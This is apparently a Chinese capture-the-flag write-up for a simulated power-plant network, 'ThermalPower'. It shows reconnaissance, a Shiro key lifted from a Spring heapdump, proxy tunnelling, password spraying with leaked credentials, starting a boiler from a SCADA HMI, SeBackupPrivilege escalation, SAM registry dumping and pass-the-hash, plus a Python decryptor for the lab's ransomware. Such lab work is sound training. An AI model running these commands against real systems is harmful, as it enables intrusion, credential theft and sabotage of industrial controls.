ThermalPower
tag
内网渗透、Shiro、SCADA、工控安全
题目描述
该场景模拟仿真了电力生产企业的部分业务场景。“火创能源” 公司在未充分重视网络安全的威胁的情况下,将敏感区域的服务错误地配置在公网上,使得外部的 APT 组织可以轻松地访问这些服务,最终导致控制电力分配、生产流程和其他关键设备的服务遭受攻击,并部署了勒索病毒。 玩家的任务是分析 APT 组织的渗透行为,按照关卡列表恢复其攻击路径,并对勒索病毒加密的文件进行解密。 附件地址:https://pan.baidu.com/s/13jTP6jWi6tLWkbyO8SQSnQ?pwd=kj6h
解题背景
第1关
评估暴露在公网的服务的安全性,尝试建立通向生产区的立足点。
第2关
尝试接管 SCADA 工程师的个人 PC,并通过滥用 Windows 特权组提升至系统权限。
第3关
尝试接管 SCADA 工程师站,并启动锅炉。
第4关
尝试获取 SCADA 工程师站中的数据库备份,并分析备份文件是否泄漏了敏感数据。
信息搜集
先用fscan扫一下机器
./fscan.exe -h 39.98.127.19
1 2 3 4 5 6 7 8 9
| start infoscan 39.98.127.19:8080 open 39.98.127.19:22 open [*] alive ports len is: 2 start vulscan [*] WebTitle http://39.98.127.19:8080 code:302 len:0 title:None 跳转url: http://39.98.127.19:8080/login;jsessionid=A41B4CF821A9F532DADB3C4A6B41ACBD [*] WebTitle http://39.98.127.19:8080/login;jsessionid=A41B4CF821A9F532DADB3C4A6B41ACBD code:200 len:2936 title:火创能源监控画面管理平台 [+] PocScan http://39.98.127.19:8080 poc-yaml-spring-actuator-heapdump-file [+] PocScan http://39.98.127.19:8080 poc-yaml-springboot-env-unauth spring2
|
flag01
存在heapdump泄露,先下载heapdump文件下来
http://39.98.127.19:8080/actuator/heapdump
然后利用JDumpSpider进行分析
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
发现shiro秘钥
1 2 3 4 5 6
| =========================================== CookieRememberMeManager(ShiroKey) ------------- algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES
===========================================
|
shiroattack2直接打马

拿flag01

flag{81700400-eecc-4895-aa1e-042d7309a630}
flag03
然后stowaway连接挂代理
./linux_x64_agent -l 44444 -s 123
./linux_x64_admin -c 39.98.127.19:44444 -s 123
在windows上也挂个代理
./linux_x64_agent -l 44445 -s 123
./windows_x64_admin.exe -c 39.98.127.19:44445 -s 123
socks 12345
上传fscan扫描一下
ifconfig
./fscan -h 172.22.17.0/24 -nobr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| start infoscan (icmp) Target 172.22.17.6 is alive (icmp) Target 172.22.17.213 is alive [*] Icmp alive hosts len is: 2 172.22.17.6:445 open 172.22.17.6:139 open 172.22.17.213:8080 open 172.22.17.6:135 open 172.22.17.6:80 open 172.22.17.213:22 open 172.22.17.6:21 open [*] alive ports len is: 7 start vulscan [*] WebTitle http://172.22.17.6 code:200 len:661 title:172.22.17.6 - / [*] NetInfo [*]172.22.17.6 [->]WIN-ENGINEER [->]172.22.17.6 [*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER [*] WebTitle http://172.22.17.213:8080 code:302 len:0 title:None 跳转url: http://172.22.17.213:8080/login;jsessionid=3CE951B9B0A16E0B9752FC8FB0253599 [*] WebTitle http://172.22.17.213:8080/login;jsessionid=3CE951B9B0A16E0B9752FC8FB0253599 code:200 len:2936 title:火创能源监控画面管理平台 [+] ftp 172.22.17.6:21:anonymous [->]Modbus [->]PLC [->]web.config [->]WinCC [->]内部软件 [->]火创能源内部资料 [+] PocScan http://172.22.17.213:8080 poc-yaml-spring-actuator-heapdump-file [+] PocScan http://172.22.17.213:8080 poc-yaml-springboot-env-unauth spring2 已完成 7/7 [*] 扫描结束,耗时: 5.755238895s
|
访问http://172.22.17.6
查看文件SCADA.txt获得账号密码

1 2 3
| WIN-SCADA: 172.22.26.xx Username: Administrator Password: IYnT3GyCiy3
|
试一下密码喷洒
proxychains -q crackmapexec smb 172.22.26.0/24 -u 'Administrator' -p 'IYnT3GyCiy3'

发现172.22.26.11可以登录
直接点击锅炉开就有flag03
flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}
flag04
在桌面上发现ScadaDB.sql.locky,并且题目附件里给了privateKey和encryptedAesKey,在C盘找到Lockyou.exe,因此现在需要解密ScadaDB.sql.locky
用dnSpy对exe进行反编译,找到加密逻辑,需要秘钥

privateKey格式转换
RSA公私钥PEM与XML格式转换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| -----BEGIN PRIVATE KEY----- MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+ PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3 YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17 8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/ xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0 VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy PHvLZB6D8zSyuGw= -----END PRIVATE KEY-----
|
找个在线网站把encryptedAesKey解一下

得到key
cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=
最后写个aes脚本解一下sql文件,把前16位作为iv
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186
| #!/usr/bin/env python3 """ Locky勒索软件解密工具 注意:需要先获取AES密钥才能使用 """
import os import sys import argparse from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import hashlib import base64
class LockyDecryptor: def __init__(self, aes_key=None, key_file=None): """ 初始化解密器 Args: aes_key: AES密钥(bytes或base64字符串) key_file: 包含密钥的文件路径 """ self.aes_key = self._load_key(aes_key, key_file) def _load_key(self, aes_key, key_file): """加载AES密钥""" key = None # 从文件加载密钥 if key_file and os.path.exists(key_file): with open(key_file, 'rb') as f: key_data = f.read().strip() # 尝试base64解码 try: key = base64.b64decode(key_data) except: key = key_data # 如果不是base64,直接使用原始数据 # 从参数加载密钥 elif aes_key: if isinstance(aes_key, str): # 如果是字符串,尝试base64解码 try: key = base64.b64decode(aes_key) except: # 如果不是base64,使用字符串的字节表示 key = aes_key.encode('utf-8') else: key = aes_key # 验证密钥长度 if key and len(key) not in [16, 24, 32]: print(f"警告: 密钥长度 {len(key)} 字节,不是标准AES密钥长度(16,24,32)") return key def decrypt_file(self, encrypted_file, output_file=None): """ 解密单个文件 Args: encrypted_file: 加密文件路径 output_file: 输出文件路径(可选) """ if not self.aes_key: raise ValueError("未提供AES密钥") if not os.path.exists(encrypted_file): raise FileNotFoundError(f"加密文件不存在: {encrypted_file}") # 自动生成输出文件名 if not output_file: if encrypted_file.endswith('.locky'): output_file = encrypted_file[:-6] # 移除.locky扩展名 else: output_file = encrypted_file + '.decrypted' try: with open(encrypted_file, 'rb') as f: # 读取IV(前16字节) iv = f.read(16) # 读取加密数据 encrypted_data = f.read() # 创建AES解密器 cipher = AES.new(self.aes_key, AES.MODE_CBC, iv) # 解密数据 decrypted_data = cipher.decrypt(encrypted_data) # 移除PKCS7填充 try: decrypted_data = unpad(decrypted_data, AES.block_size) except ValueError as e: print(f"警告: 填充移除失败,可能不是标准PKCS7填充: {e}") # 继续使用未移除填充的数据 # 写入解密后的文件 with open(output_file, 'wb') as f: f.write(decrypted_data) print(f"成功解密: {encrypted_file} -> {output_file}") return True except Exception as e: print(f"解密失败 {encrypted_file}: {e}") return False def decrypt_directory(self, directory, file_extensions=None): """ 解密目录中的所有.locky文件 Args: directory: 目录路径 file_extensions: 要解密的文件扩展名列表 """ if not file_extensions: file_extensions = ['.locky'] decrypted_count = 0 total_count = 0 for root, dirs, files in os.walk(directory): for file in files: if any(file.endswith(ext) for ext in file_extensions): total_count += 1 file_path = os.path.join(root, file) if self.decrypt_file(file_path): decrypted_count += 1 print(f"\n解密完成: {decrypted_count}/{total_count} 个文件成功解密") return decrypted_count
def search_memory_for_keys(): """尝试从内存转储中搜索密钥的辅助函数""" print(""" 内存密钥搜索建议: 1. 使用Volatility分析内存转储: volatility -f memory.dmp --profile=Win10x64_19041 pslist | findstr locky volatility -f memory.dmp --profile=Win10x64_19041 memdump -p <PID> -D ./ 2. 在进程内存中搜索: strings process_mem.dmp | grep -i "aes\\|rsa\\|privatekey" 3. 检查网络流量捕获中的密钥交换 """)
def main(): parser = argparse.ArgumentParser(description='Locky勒索软件解密工具') parser.add_argument('-k', '--key', help='AES密钥(base64或hex字符串)') parser.add_argument('-f', '--key-file', help='包含AES密钥的文件') parser.add_argument('-i', '--input', required=True, help='要解密的文件或目录') parser.add_argument('-o', '--output', help='输出文件路径(仅用于单文件解密)') parser.add_argument('-r', '--recursive', action='store_true', help='递归解密目录') parser.add_argument('--extensions', nargs='+', default=['.locky'], help='要解密的文件扩展名(默认: .locky)') parser.add_argument('--search-memory', action='store_true', help='显示内存搜索密钥的建议') args = parser.parse_args() if args.search_memory: search_memory_for_keys() return # 创建解密器 try: decryptor = LockyDecryptor(aes_key=args.key, key_file=args.key_file) except Exception as e: print(f"初始化解密器失败: {e}") return # 执行解密 if os.path.isfile(args.input): # 单文件解密 decryptor.decrypt_file(args.input, args.output) elif os.path.isdir(args.input) and args.recursive: # 目录递归解密 decryptor.decrypt_directory(args.input, args.extensions) else: print("错误: 输入路径不存在或不是文件/目录,或未指定-r参数用于目录解密")
if __name__ == "__main__": main()
|
python exp.py -k "cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=" -i "ScadaDB.sql.locky" -o "decrypted.txt"
在解密后的文件里找到flag04

flag{63cd8cd5-151f-4f29-bdc7-f80312888158}
也可以用cyberchef

flag02
根据火创能源内部通知.docx和内部员工通讯录.xlsx中泄露的个人信息
1 2
| 2. 登陆账户设置: 为方便管理和标准化,登陆账户名将采用姓名全称的小写拼音形式。例如,张三的账户名为zhangsan,工号为0801。初始密码将由账户名+@+工号组成,例如,zhangsan@0801。
|
获得账号密码

1 2 3 4 5 6 7 8 9 10
| chenhua chenhua@0813 zhaoli zhaoli@0821 wangning wangning@0837 zhangling zhangling@0871 zhangying zhangying@0888 wangzhiqiang wangzhiqiang@0901 chentao chentao@0922 zhouyong zhouyong@0939 lilong lilong@1046 liyumei liyumei@1048
|
选一个远程rdp登录

proxychains4 /usr/bin/impacket-wmiexec chenhua:"chenhua@0922"@172.22.17.6 -codec gbk
报错rpc_s_access_denied
在只知道 NTLM Hash 的情况下,只有 RID 为 500 的管理员用户才能绕过 UAC 成功执行 PTH;若 RID 不是 500,即便是在本地管理员用户组里也无法执行 PTH。
proxychains rdesktop 172.22.17.6 -u chentao -p 'chentao@0922' -r disk:LinuxPictures=/home/kali/Desktop
proxychains xfreerdp /u:"chentao" /v:172.22.17.6:3389
chentao@0922
然后winPEAS检测特权

没找到好利用的特权

但发现在backup组
使用 EnableSeBackupPrivilege.ps1启用 SeBackupPrivilege:
Import-Module .\EnableSeBackupPrivilege.ps1
管理员身份运行PS,一键工具利用
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege

Copy-FileSeBackupPrivilege C:\Users\Administrator\flag\flag02.txt C:\Users\liyumei\Desktop\flag02.txt -Overwrite

成功拿到flag02
1 2 3 4 5 6 7 8 9
| _____.__ _______ ________ _/ ____\ | _____ ____ \ _ \ \_____ \ \ __\| | \__ \ / ___\/ /_\ \ / ____/ | | | |__/ __ \_/ /_/ > \_/ \/ \ |__| |____(____ /\___ / \_____ /\_______ \ \//_____/ \/ \/
flag02: flag{de946b53-3ba4-4fd0-b80f-aafc911ca447}
|
法二注册表 SAM 转储提权
1 2 3 4 5
| PS C:\Users\chenhua\Desktop> cd C:\ PS C:\Users\chenhua\Desktop> mkdir xtemp PS C:\Users\chenhua\Desktop> cd C:\xtemp PS C:\Temp> reg save hklm\sam c:\xtemp\sam PS C:\Temp> reg save hklm\system c:\xtemp\system
|
下载到本地,提取 Administrator 的 NTLM hash
impacket-secretsdump -sam sam -system system LOCAL
proxychains impacket-smbexec administrator@172.22.17.6 -hashes :f82292b7ac79b05d5b0e3d302bd0d279 -codec gbk